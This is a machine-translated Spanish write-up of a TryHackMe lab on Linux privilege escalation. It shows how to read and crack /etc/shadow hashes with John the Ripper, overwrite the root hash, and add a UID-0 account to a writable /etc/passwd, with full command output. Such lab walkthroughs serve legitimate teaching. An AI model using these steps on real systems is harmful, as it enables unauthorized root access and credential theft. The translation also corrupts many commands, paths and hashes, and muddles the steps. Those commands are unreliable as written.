Esta vez, intentaremos "elevación de privilegios utilizando permisos de archivos vulnerables en Linux".
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo se encuentra en la Parte 2.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también verifique Evolución de privilegios utilizando la función definida por el usuario de MySQL (UDF)





Desplegar la vulnerable Debian VM
Primero, intente iniciar la máquina de destino con TryhackMe y verificarla hasta el punto en que pueda conectarse a través de SSH.
Iniciar la máquina de destino
Seleccione "Máquina de inicio" para iniciar.

Si se muestra la "dirección IP", la máquina de destino ha terminado de arranque.

Inicie sesión en su cuenta de usuario con SSH
Conéctese a la máquina de destino a través de SSH.
Tenga en cuenta que para Kali, se puede requerir "-OhostKeyalgorithms =+SSH-RSA".
# ssh user@10.10.77.90 -ohostkeyalgorithms =+ssh -rsa no se puede establecer la autenticidad del host '10 .10.77.90 (10.10.77.90) '. RSA Key Fingerprint es SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCOAHO6S8WYGJKTANK. Esta clave no se sabe por otros nombres, ¿está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregó permanentemente '10 .10.77.90 '(RSA) a la lista de hosts conocidos. user@10.10.77.90 CONTRASEÑA: Permiso denegado, intente nuevamente. user@10.10.77.90's contraseña: Linux Debian 2.6.32-5-amd64 #1 SMP martes 13 de mayo 16:34:35 UTC 2014 x86_64 Los programas incluidos con el sistema GNU/Linux Debian son software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125
Permisos de archivo débiles
Una vez listo, intente usar los permisos de archivo vulnerables para aumentar los privilegios a la raíz.
Esta vez, se incluyen dos archivos. Ambos requerirán que manipule la información de su cuenta (valor hash de contraseña).
- /etc/sombra
- /etc/passwd
Legible /etc /sombra (legible /etc /sombra)
"/etc/shadow" contiene la contraseña del usuario como un valor hash.
Normalmente, solo se puede leer la raíz, pero si hay una vulnerabilidad en los permisos de archivo y es legible, puede obtener la contraseña.
Primero, echemos un vistazo a los permisos de acceso para "/etc/sombra".
Puedes ver que cualquiera puede leerlo.
Usuario@Debian: ~ $ ls -l /etc /shadow -rw-r-rw- 1 root shadow 837 25 de agosto de 2019 /etc /shadow
Verificaremos el contenido de la sombra.
El primero es el nombre de usuario y el segundo es el valor hash para la contraseña. Esta vez romperé esto y obtendré la contraseña.
- [Nombre de usuario]: [contraseña_hash]: ...
usuario@debian: ~ $ cat/etc/shadow root: $ 6 $ tb/euwmk $ oxa.dwmeoacopwbl68botg5zi65wihsc84owaiye5vitlltvlaxvrdjxet..it8r.jbrlpfzemdwd3b0fgxji0: 17298: 0: 9999999999999999: Daemon:*: 17298: 0: 99999: 7 ::: bin:*: 17298: 0: 999999: 7 ::: sys:*: 17298: 0: 999999: 7 ::: juegos:*: 17298: 0: 999999: 7 ::: hombre:*: 17298: 0: 999999: 7 :::::::: LP:*: 17298: 0: 99999: 7 ::: noticias:*: 17298: 0: 999999: 7 ::: UUCP:*: 17298: 0: 99999: 7 ::: proxy:*: 17298: 0: 999999: 7 ::: www-data:*: 17298 Copia de seguridad:*: 17298: 0: 99999: 7 ::: Lista:*: 17298: 0: 999999: 7 :::: IRC:*: 17298: 0: 999999: 7 ::: Gnats:*: 17298: 0: 99999: 7 ::::*: 17298: 0: 999999: 7 ::::::::::: libuuid: Usuario: $ 6 $ M1TQJKEB $ M1A/ARH4JEYF1ZBJPLQ.TZQR1LOCULZ0WIZSOY6ADOZRFRYIRKDW5IJY32FBGGJWYPT2O1ZRRR2XTROV7WRIKF8.: 17298: 0: 99999: 7 :::: Statd:*: 17299: 0: 99999: 7 ::: mysql :!: 18133: 0: 99999: 7 :::
De lo anterior, para obtener la contraseña de root, guarde el valor hash de la contraseña de root en hash.txt.
A partir de aquí, estaremos trabajando en el lado de Kali (máquina de ataque).
# mkdir tryhackme # cd tryhackme # vi hash.txt # cat hash.txt $6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
Una vez que haya hecho esto, descifra el hash.txt mencionado anteriormente usando John the Ripper.
Cuando verifique los resultados, verá que la contraseña es "contraseña123".
# John --wordList =/usr/share/wordlists/rockyou.txt hash.txt directorio creado: /root/.john usando la codificación de entrada predeterminada: UTF-8 cargado 1 contraseña hash (sha512Crypt, cripta (3) $ 6 $ [SHA512 256/256 avx2 4x]) Costar 1 (el recuento iterado) es 5000 para 5000 para todos los cargados de carga 2 Presione 'Q' o Ctrl-C para abortar, casi cualquier otra clave para el estado de contraseña123 (?) 1G 0: 00: 00: 00 Listo (2023-03-06 14:36) 1.428g/s 2194p/s 2194c/s 2194c/s buties..mexiCo1 use la opción "--show"
Una vez que conozca la contraseña, todo lo que tiene que hacer es obtener privilegios raíz utilizando "SU Root".
Usuario@Debian: ~ $ Su Root Contraseña: root@Debian:/Home/User#
¡Pude intensificar con éxito mis privilegios para rootear!
Creo que puedo responder a sus preguntas de Tryhackme usando las preguntas anteriores.

WRITITY /ETC /SOMBRA (Escritatable /etc /Shadow)
Si "/etc/shadow" es escritura, puede aumentar los privilegios para rootear reescribiendo el valor hash de la contraseña.
Eso es exactamente lo contrario de lo que pensé.
Primero, verifique los permisos para "/etc/sombra". Parece que tienes permiso de escritura.
$ ls -l /etc /shadow -rw-r-rw- 1 root shadow 837 25 de agosto de 2019 /etc /shadow
Ahora creemos un hash de la contraseña usando mkpasswd.
Para [NewPassword], establezca la contraseña que desea usar como root.
$ mkpasswd -m sha -512 newPassword $ 6 $ .EP9GJDSI0V $ LHLXNVVMPG06KVYMTPUFPO9QUOGG/JVI9YO // IZAYW4XUQMBKX4XZXYM5AGGGTO8.XC1X0DBSSCUKKHF.D0281
Una vez que se genera el hash, reescribe el hash de la contraseña de root en "/etc/sombra" con el hash que acabas de generar.
$ cat/etc/shadow root: $ 6 $ .Ep9gjdsi0v $ lhlxnvvmpg06kvymtpufpo9quogg/jvi9yo // izayw4xuqmbkx4xzxym5Agggto8.xc1x0dbsssssssssssssssssssssssssssssssssssionalionald0281: 17298: 0: 9999999999999999: Daemon:*: 17298: 0: 99999: 7 ::: bin:*: 17298: 0: 999999: 7 ::: sys:*: 17298: 0: 999999: 7 ::: juegos:*: 17298: 0: 999999: 7 ::: hombre:*: 17298: 0: 999999: 7 :::::::: LP:*: 17298: 0: 99999: 7 ::: noticias:*: 17298: 0: 999999: 7 ::: UUCP:*: 17298: 0: 99999: 7 ::: proxy:*: 17298: 0: 999999: 7 ::: www-data:*: 17298 Copia de seguridad:*: 17298: 0: 99999: 7 ::: Lista:*: 17298: 0: 999999: 7 :::: IRC:*: 17298: 0: 999999: 7 ::: Gnats:*: 17298: 0: 99999: 7 ::::*: 17298: 0: 999999: 7 ::::::::::: libuuid: Usuario: $ 6 $ M1TQJKEB $ M1A/ARH4JEYF1ZBJPLQ.TZQR1LOCULZ0WIZSOY6ADOZRFRYIRKDW5IJY32FBGGJWYPT2O1ZRRR2XTROV7WRIKF8.: 17298: 0: 99999: 7 :::: Statd:*: 17299: 0: 99999: 7 ::: mysql :!: 18133: 0: 99999: 7 :::
Creo que ahora he podido escalar mis privilegios para rootear.
Usuario@Debian: ~ $ Su Root Contraseña: root@Debian:/Home/User#
WRITITY /ETC /PASSWD (Escribible /etc /passwd)
"/etc/passwd" contiene información sobre su cuenta de usuario.
Cualquiera puede leerlo, pero ningún otro que Root pueda escribirlo.
Algunos Linux pueden permitir a los usuarios incluir el hash de contraseña.
Si los privilegios distintos de la raíz pueden escribir, es posible explotar la vulnerabilidad a aumentar los privilegios a la raíz.
Primero, veamos la autoridad. Aparentemente tienes permiso por escrito.
Esto parece que puedes atacar.
Usuario@Debian: ~ $ ls -l /etc /passwd -rw-r-rw- 1 raíz de raíz 1009 25 de agosto de 2019 /etc /passwd
Solo para estar seguro, verificaré el estado actual del PASSWD. La raíz se establece en "x".
Una vez que haya generado el hash, reemplácelo con un hash.
usuario@debian: ~ $ cat/etc/passwd raíz: x: 0: 0: root:/root:/bin/bash daemon: x: 1: 1: daemon:/usr/sbin:/bin/sh bin: x: 2: 2: bin:/bin:/bin/sh sys: x: 3: sys:/dev:/bin/sh sincronización: x: 4: 65534: sinc:/bin:/bin/sync juegos: x: 5: 60: juegos:/usr/games:/bin/sh man: x: 6: 12: man:/var/cache/man:/bin/sh lp: x: x: 7: lp:/var/spool/lpd:/bin/sh correo: x: 8: 8: sh: bins Noticias: x: 9: 9: noticias:/var/spool/News:/bin/sh uucp: x: 10: 10: uucp:/var/spool/uucp:/bin/sh proxy: x: 13: 13: proxy:/bin:/bin/sh www-data: x: 33: 33: wwww-data:/var/www:/bin/sh copia de seguridad: x: 34: 34: copia de seguridad:/var/copias de seguridad:/bin/sh Lista: x: 38: 38: manager de lista de correo:/var/list:/bin/sh irc: x: 39: 39: ircd:/var/run/ircd:/bin/sh gnats: x: 41: 41: gnats bug-system (administrador):/var/lib/gnats:/bin/sh nadie: x: 65534: 65534: nadie:/noxistent:/bin/sh libuuid: x: x: 100: 101 ::/var/lib/libuid:/bin/sh Debian-Eximi sshd: x: 102: 65534 ::/var/run/sshd:/usr/sbin/nologin user: x: 1000: 1000: user ,,,:/home/user:/bin/bash statd: x: 103: 65534 ::/var/lib/nfs:/bin/falso mysql: x: 104: mysql Servidor ,,,,:/var/lib/mysql:/bin/false
El hash se genera con el siguiente comando:
esta vez, usaremos "NewPassword2" como la nueva contraseña.
Usuario@Debian: ~ $ OpenSSL PASSWD NewPassword2 Advertencia: Truncar contraseña a 8 caracteres 6B3UD4HKGOXVE
Una vez que haya generado un hash, reemplace el valor hash con la ubicación donde "X" estaba anteriormente.
usuario@debian: ~ $ vi/etc/passwd user@debian: ~ $ cat/etc/passwd root: 6b3ud4hkgoxve: 0: 0: root:/root:/bin/bash daemon: x: 1: 1: daemon:/usr/sbin:/bin/sh bin: x: x: 2: bin:/bin:/bin/sh sys: x: 3: 3: sys:/dev:/bin/sync: x: 4: 65534: sinc:/bin:/bin/sinc games: x: 5: 60: juegos:/usr/games:/bin/sh man: x: 6: 12: hombre:/var/cache/man:/bin/sh lp: x: 7: 7: lp:/var/spool/lpd/bin/bin/bin bin Correo: x: 8: 8: correo:/var/mail:/bin/sh noticias: x: 9: 9: noticias:/var/spool/news:/bin/sh uucp: x: 10: 10: uucp:/var/spool/uucp:/bin/sh proxy: x: 13: 13: proxy:/bin:/bin/sh www-data: x: 33: 33: www data:/var/www:/bin/sh respaldo: x: 34: 34: copia Gnats: X: 41: 41: Sistema de reportaje de errores de mosquitos (administrador):/var/lib/gnats:/bin/sh nadie: x: 65534: 65534: nadie:/noxistent:/bin/sh libuuid: x: 100: 101 ::/var/lib/libuuid:/bin/bin/shel Debian-Exim: x: 101: 103 ::/var/spool/exim4:/bin/false sshd: x: 102: 65534 ::/var/run/sshd:/usr/sbin/nologin Usuario: x: 1000: 1000: usuario ,,,:/inicio/usuario:/bin/bash STATD: X: 103: 65534 ::/var/lib/nfs:/bin/false mysql: x: 104: 106: mysql servidor ,,,,,:/var/lib/mysql:/bin/false
Una vez que haya llegado tan lejos, intente iniciar sesión en root.
Creo que pude escalar con éxito mis privilegios para rootear.
Usuario@Debian: ~ $ Su Root Password: NewPassword2
Si continúa así, no funcionará, así que crearé un Newroot.
Copie la configuración de la raíz por todas partes y agrégalas a la nueva línea, y deje la raíz de regreso a "X".
root@debian:/home/user# vi/etc/passwd root@debian:/home/user# gat/etc/passwd root: x: 0: 0: root:/root:/bin/bash daemon: x: 1: 1: demonio:/usr/sbin:/bin/sh bin: x: 2: 2: bin:/bin:/sh sys: x: 3: 3: sys:/dev:/bin/sync: x: 4: 65534: sinc:/bin:/bin/sinc games: x: 5: 60: juegos:/usr/games:/bin/sh man: x: 6: 12: hombre:/var/cache/man:/bin/sh lp: x: 7: 7: lp:/var/spool/lpd/bin/bin/bin bin Correo: x: 8: 8: correo:/var/mail:/bin/sh noticias: x: 9: 9: noticias:/var/spool/news:/bin/sh uucp: x: 10: 10: uucp:/var/spool/uucp:/bin/sh proxy: x: 13: 13: proxy:/bin:/bin/sh www-data: x: 33: 33: www data:/var/www:/bin/sh respaldo: x: 34: 34: copia Gnats: X: 41: 41: Sistema de reportaje de errores de mosquitos (administrador):/var/lib/gnats:/bin/sh nadie: x: 65534: 65534: nadie:/noxistent:/bin/sh libuuid: x: 100: 101 ::/var/lib/libuuid:/bin/bin/shel Debian-Exim: x: 101: 103 ::/var/spool/exim4:/bin/false sshd: x: 102: 65534 ::/var/run/sshd:/usr/sbin/nologin Usuario: x: 1000: 1000: usuario ,,,:/inicio/usuario:/bin/bash statd: x: 103: 65534 ::/var/lib/nfs:/bin/false mysql: x: 104: 106: mysql servidor ,,,,:/var/lib/mysql:/bin/false newroot: 6B3Ud4HKGOXVE: 0: Root:/root:/bin/bash root@debian:/inicio/usuarios
En este estado, inicie sesión en NewRoot.
Creo que puede escalar sus privilegios para rootear con una nueva contraseña.
Incluso si verifica la identificación, estará root.
Usuario@Debian: ~ $ Su Newroot Password: NewPassword2 root@debian:/home/user# id uid = 0 (root) gid = 0 (root) grupos = 0 (root)
Iniciar sesión e intente iniciar sesión en root.
Creo que puedes iniciar sesión usando "NewPassword". Pudió establecer un nuevo método de inicio de sesión mientras conservaba su contraseña original.
root@debian:/home/user# salga de salida user@debian: ~ $ su root contraseña: newpassword root@debian:/home/user#
Para su pregunta de TryhackMe, pegue los resultados del comando de identificación anterior.

resumen
Esta vez, probé "elevación de privilegios utilizando permisos de archivos vulnerables en Linux".
Básicamente, por defecto, no debería tener permisos de archivos vulnerables, pero una vez más me di cuenta de que debemos tener cuidado de no causar este tipo de situación.
Referencias y sitios
-:-